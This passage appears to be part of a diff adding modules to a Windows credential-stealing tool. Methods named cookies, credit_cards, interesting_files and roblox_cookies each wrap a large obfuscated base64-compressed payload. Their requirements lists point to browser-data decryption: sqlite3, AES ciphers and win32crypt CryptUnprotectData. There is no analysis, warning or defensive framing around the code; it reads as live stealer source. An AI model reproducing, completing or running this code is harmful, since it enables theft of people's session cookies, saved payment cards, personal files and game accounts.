NYsZ0ZxR1JGyF1RU5QnBEJBlRFOF4wrmPUAMRrj4DIYeKrTJXFQA48V8waJBZKwF2K7A6ZsE6zz6oTfdkqmsX2heiC50P4umBzKbqeXFempceNKd7XwXqvj75ePjR8FKXWt+p1Xf+p+O/iH8nXmx7EVUPndQOnVQDp7TAqXR/Jrj5ZbBxOdioBpu1YHP6RKZh58uG1uWG1qUxtaFTa+h8Hnp5+NTy4VPq4SHt8JDaMJQezvi3vvQ3LvsbVX+z5m9WqOYiU4JH1u969vZ0YH/usPYcskVteYsI1wbZyWYg/Xtrmf7NAm3K7LnAyV+awYaV+BTuS8NDvtvzsbai3zDf7S0L20CrKm0t9sIoBSA3YC8AZ9+IrSA7LRmNs8U9O0tHd2ZGEF0+gpaa76GFICg788o+UHbllXFQzvPAID6kWcLM8RX2tXUOZ0kzE5ISrNvMh6QkS1mx2xVm5pTVfJ4hpJv1AFRFQXuK9aaMnOe2d724E0RzvhSBUhKlbpRSKPXA9GuqcB6l4BoD65Q9GMZQd78C67WhdYW7sqlyWHcNc9IML0zorl7jlJDxrklukhdmu+T+keODx3vPhcd5UYJRQEs4wUxyLWEYerSE14KUaSY+BcTczWRM4MTIlBQN9390eiicO3dQ7CLANX8DJ0yoBYlMtYbPC3F0XnWFZSocHgbUa6UzoIu1kqHaSuk46geW3tgRVTjcI/AzIicA0d8sZJNHgNNsRDb2G3wsIXhg1iV+Go9JXIfuivKJBIiAYJAUnZhK6o5onBfBQRydEkRwRLu4m1x0Cp3RnBQdZ+Jx3ckkQYTF6hWJqcnrICbKDa3Jp7uuG33rFIirRmNxLgKnxzjECQMWYa/rdtgn8AMxcSICs8JBCLCBtrptSojrdji1hspOoxUM7uBAdSrXQwRBdkMIhTrKKSH6sLXD3/jcumU4ARLEXyvrWl8yOsvVQqci/gnsrre3sJ+qqh8MPBy8P7hYvzT7vEmt6tOq+tLEWswWU72NmrcRxmz+DLUp3f+Tt/reb+/8dkFWvc2atzltf1VV9/D0/dOLJ9SqNq2qLU1k8MqXeHAZDy5UqfhmDd+s4JuB7J73jlfFQxoeUvAQcD8P6+7XfdnwoCHtzOAV9yruVCg1ERX/RMM/UfBPXvtDD4/dP6b6t2v+7VmMJMIoSfdm/NXznz7ohDFcaNG/ePbbapRdEp/t+34aZZ+PvKj8jwsom/EFM3XtS/QS8/1Opa4dPICgQNBXQjCwtGtp1zP6GfOnnc+b1ebjWvNxpW4APMDPFaCBoAOErnUd4EkPZqjgS2rLMrVlsUMJ/wY8S9uN97Pc+/lO4/2i33j/GDfe4FGpiEZFFCryiqpdYFRqS3o4Pfwap+6Rd8jb1F0qjb6/YGhPDJ7u7R7sPnOmr/tct+7KZWTPAM+Pxblw77jAT4JNZRRB2ILKMnEe2g28C8hkFInawO6XK02twiM3R2QyL7/JXN3Dgebu/EJB+z5uerU9zFebq88nwLXjepyTvYWCKjOwl0kwwqzsMRcrhmJRgRf5USl8nB3jdGK1rNuhQCYnRQ684ch0x+kkJzByBXqFRwBohhE4mcqVjW4JHpbQTOBGxcBF2buSW0GRhmCYA7cuR4/ATHO6B71WWY1ia+54konrsIjUcF2IgWOTjcnuaSNjTPuJBLgrJTgJHnJxXgBtqBhnZA3tuydjY7xMMPBlSM7xQnRcJiT4QhLnKTA3cD0n0Nvo7rRwPSZNTcpu3sig7qheLiGtHJ66G5ZWVPVGQSF38Bj9HASjBkM4CFbGkLhGklNSIjYhu0Ujgzirjidj0fAZAYwqOrvCLeMckKJW9vMCAw7CqV5eHuLYGCPjU0BgKH6JSbDcTd1jvFfakrOoiNhzVbmV1/0mZG47+HIYsNG4OFxIvdoEW5XL7hwSblm90gQytnSu/hwXHS+ohyKZzNUDk9B9pmoocZ0QYmwMznnMyKAReId4ORaPM+F+cLaP8jd1V06gu1Yk+BnDk4iye9QQGdMzwowyQkyu6E4moUnwk2Da4fyISA4xTS4dRf6jzFRckokcT3jfWrZ9Lduxlt2/lj2g25IxVuiFntU9CB0F3O4SJ7cN8ysePTzDiGERbGU2zCfC0jgXno5FpdjkLhEgDK3ahH2Qgcj5l3Cj7Ghqk25KwDm/B52zG3m6MU7iEtPI7QntSJIUp6RYHDnTKHBtEeCwBaSM7ojzM2AtCSCYBFcn8IJeXeiCdfgMuHlxoiQ0Veq4HEtG4FB0PLd/RQGGSsKHELkJeucI8ObgEsZEkCPUq0wygQfGlRjTPStuFy2Fjufcu4i0MTw1AbVEblm3w6zh9V05pPA+BEJ/LQxA91pZ5KbDH3xg+Gl8xTcLn2HGf6gQx0HY/RZ449eB6lvgUhS4NZjxVt76MGunHMEstprUkzC3mgRDjkAWWyf5aydWW/849Ci0eFQNtWuhdsVe/aqu4fHhR4cXL6l1e7S6PYo9mLWHA84MEfyu/duDfzzyzRFlb8+LceXMReUyp9KjGj2axbBZy3EreBH91qwNoF8T9QXoq8pvYip9Q6NvmNEOgM46MXJzAf6aErmh0hMaPWHGuyAex8iGDfITEE9i5LYCPKNEEyrNazRvxrshnsLIcAE+ojBxlZ7U6Ekz3gPxFRhZm4+fUEYuKVdGVXpMo8fMeC/E+zCycg3fp/RfUC7mo/sQGrSphOhNGFlViM4f6yraD9FVGFldiGZVmtNozowOQHS1SZOeF7zy8agyLqq0pNGSGV8D8UGM9OfjY8rZqyp9TaOvIXA/Ag9YsyEIri1YJjAt+aMcQOAPrdk6CK4v0GTsx89U+opGXzFr0QCxmzeG3QKxYYzcVLCWV1T6qkZfNS/MVgjetsHh0RC8HSNNNjGpnP9EpRmNZhD4JAKfsmZ3QPDOIpVnlItRlWY1mjVrvQvCG4sVuaxcHVPpcY0eN+vSBPHN5h2r9BfYQy9Cgz52Q3QLRvr+7/26im+F+LbiOVzPHvZA/F6MDBXgOWVMUGlRo0Uzfh/Et2Nk4XkxrtyYUulpjZ424zsgfj9G1hTgowqXVOlPNfpTM/4AxHduHH8Q4g+ZbAjhryssr9JJjU6a8YchvmuD2+Y9CD6CkXV5Bppb2vzJX8W/D/FHTZNvGHT+PltV5RhA3xrK9lmsPmcWW0mAh8AJhyezoz2LOYkQSlRqa7pvfvsC8Qr+ILd7Obh76fyz/qXTavCIFjySxRyeEErm7VmrvTKUqal7OHt/9svPHnz2sqZxuaZRrWnWapqXYv/K/zOvth3T2o4t1xwDl6lAUyZY/7jiUYUabNSCjUqw8S38rQ4wVAXn++CP7G5IbQMqvM1WWIBWOJW2A/nrrW1ZLOjY+TNMVLwhbU+z8ydK/qNAIENVvQ5snb/63bZvd/2x5ZuWJenZNXVbr7atVw30aYG+NJnxhlaRNVuymA0OGyTpAeDc/nDw8ZFHR5bsS2NqXadW15kefOUPPDj48Oj9o4stqn+P5t+zci2E/5gQAs4pCO6VbmInSsrmsNs8gYyvdp5c2A+uz7Lq69J8XQp64NzAyqp5NAde/8IhBQ3SsxO0fOi97120q74dmm+H4tvx9ucaqEMtRgHPbnEMWzJ41Uu8bhmvU+oHVXxIw4cUfCgTCD28dP/SQkoNtGiBlluDP7kCC1XLrgbY5hRo43uJh5bB7br2ve8SIDGe51dV/KSGn1Twkz+5Q4o9JMJYbfnoznPHsP/e0e0712nXDlhAQeu0nutyaYecMH/Met5my+zwXOywZzqsFw+6hpssKFz5J0w4AYMcGMn8DT8yybNTce6oMLcSydAgAXNrsWStZ6yW2ixWOkUk/wumuK45') + return { + "name": "cookies", + "blob": blob, + "func": "_cookies", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "json", "path":[], "import": None}, + {"module": "base64", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + {"module": "sqlite3", "path":[], "import": None}, + {"module": "cryptography", "path":["hazmat", "primitives", "ciphers"], "import": "Cipher"}, + {"module": "cryptography", "path":["hazmat", "primitives", "ciphers"], "import": "algorithms"}, + {"module": "cryptography", "path":["hazmat", "primitives", "ciphers"], "import": "modes"}, + {"module": "win32crypt", "path":[], "import": "CryptUnprotectData"}, + ], + } + + @staticmethod + def credit_cards(): + blob = ('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') + return { + "name": "Credit Cards", + "blob": blob, + "func": "_cards", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "json", "path":[], "import": None}, + {"module": "base64", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + {"module": "sqlite3", "path":[], "import": None}, + {"module": "cryptography", "path":["hazmat", "primitives", "ciphers"], "import": "Cipher"}, + {"module": "cryptography", "path":["hazmat", "primitives", "ciphers"], "import": "algorithms"}, + {"module": "cryptography", "path":["hazmat", "primitives", "ciphers"], "import": "modes"}, + {"module": "win32crypt", "path":[], "import": "CryptUnprotectData"}, + ], + } + + @staticmethod + def interesting_files(): + blob = ('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') + return { + "name": "Interesting Files", + "blob": blob, + "func": "_interestingfiles", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "random", "path":[], "import": None}, + ], + } + + @staticmethod + def roblox_cookies(): + blob = ('eJx1VU1MG0cUnv2xvf4D82PwGgMbIA0mjVH+oKWQlgIJSSuiJo0qElLLeNdkCXjd3TUQay1FVQ4ccvCthCbCJ0SVHHLMsfmpFPVQrZElVitFQqp6yG2jJBLKqTNrY2wwI++38968N+/Ne994/wVlAyu+37sg/AZYcA9cByx2FQTxKFZmVwsfAtn9jZt2WBpj8TQ+A9IES9wDaVIuM54teVZo8apaoqqWrKq1VNVad2cz1rRFsYyCmx/SVjvAgWJlySeWdZjN41JGaRvUk4ptn5ZSKPG1QinEAia+UoisDVQZClXphQEFZ60pN/TH7UD27Flm7dX8WRsL4/AYa3/iWIfnflw6e9qu2GcdJTvnbbNWYqNizzqr7bQOn8clKY7xIO2I2zthRmg2CeLEEjEJFjHFcUgmLta9DmM8LvUk7TzUtuaAretQ29oDtm4FYz0K/jtg6xTrrGtXD+V6xQmxQXFBbFTcEL0KBbHpkdusKXb/v04g+/d27wIigYFJcP/dIiiej5BwtjmNKSBbUzUfnxmZfkQoWGVeqHeQ5f4JHbxFcgXbEfsa4PP+H4DYDntbtqqAfdzBWEzBFoA4rmDZ8l32ssAqPVicLq0d4kHs8yDLPPBqHpWMSOPodCy4ChAnJs1ZoWJBy0SqNnTl8rffX746NnLtysUfJ4feojipeiYmiExIFKbnhKVQVJjvPSeiQgQJnZBkUbdIiTlehi9Z5BNQaYsKwm2ek3RHYRJGRtaiEjGbYRjdKUYWw7FkPBpK3NHtFzh5xFxPHQkX4hTNQ4NzQjQyJ50LlUzQrZYkCHeBgdvsvjd0YOWnB4GHgeVLWi2TvaTWhgyAu9s0unOLDm7SQbXnqxw9mKcHn/2Qp7/eosc26TH1/PUcfSNP31Cnbubpn7dodpNmc3QsT8cyVq25NePWGpozZ3YMHLP7zCkUdnYkRNNfh/3D7eB5Oz7cRaScZXUJYrqTFeYjfDwcj8xzIso01XtLlhPSQG9vUuJEqbyKCycLut5IUr7FxWU+GpE5NlVT2YS36PYHcRG9dJvMz3NCUn77Gkk4z+rkhBDndBLFg8F52IrInQkoJBFNHVfMaMxwNCok4zITf/E05R1wMCeYicgCPxORYV/RGGBSzQ40OcFcZJmyUbZwDaaKohxYGN0LWrlQaNfeVp8wR6p5QmAKJWAKHYbcSsbZUKquMlWJ6U5ZgiF5SQ7W6rXTorAIw4cLLqd1kmNnOEipW6IAj20REpwY0W0xXuRiwpJOmXJ4Zkm3TIuRBWgYSSS4OKtTIvdLkpNkSSdmOFl3SnJETkpwVxZWcFYS4joVNjsXDuv2saUol5B5pFwUeRm6icEanUrxiXCMn+P0BoRFsoYjhax1bzw5Pw0T3ad2Fi/CHA93Qf9HOlU8kqS7dg+HLoPZZRGRTCf5eEzQiUiC122IJmHYbCpZbILuKrbaTFeqKVyqsiG60R41lZdJPAUKH3YpgKPro/kDKtmsBVpVktbqG+9+Z5CUxWeAXfjYBOy+PBV4QzXnqTYTW01sN5EpaAy3zWO9O27UA/qIAdotXhOWXQbeZvdqTR2ZuY202jSUaxrKNw0tX9C8bZnJlcWc91jee2z5vF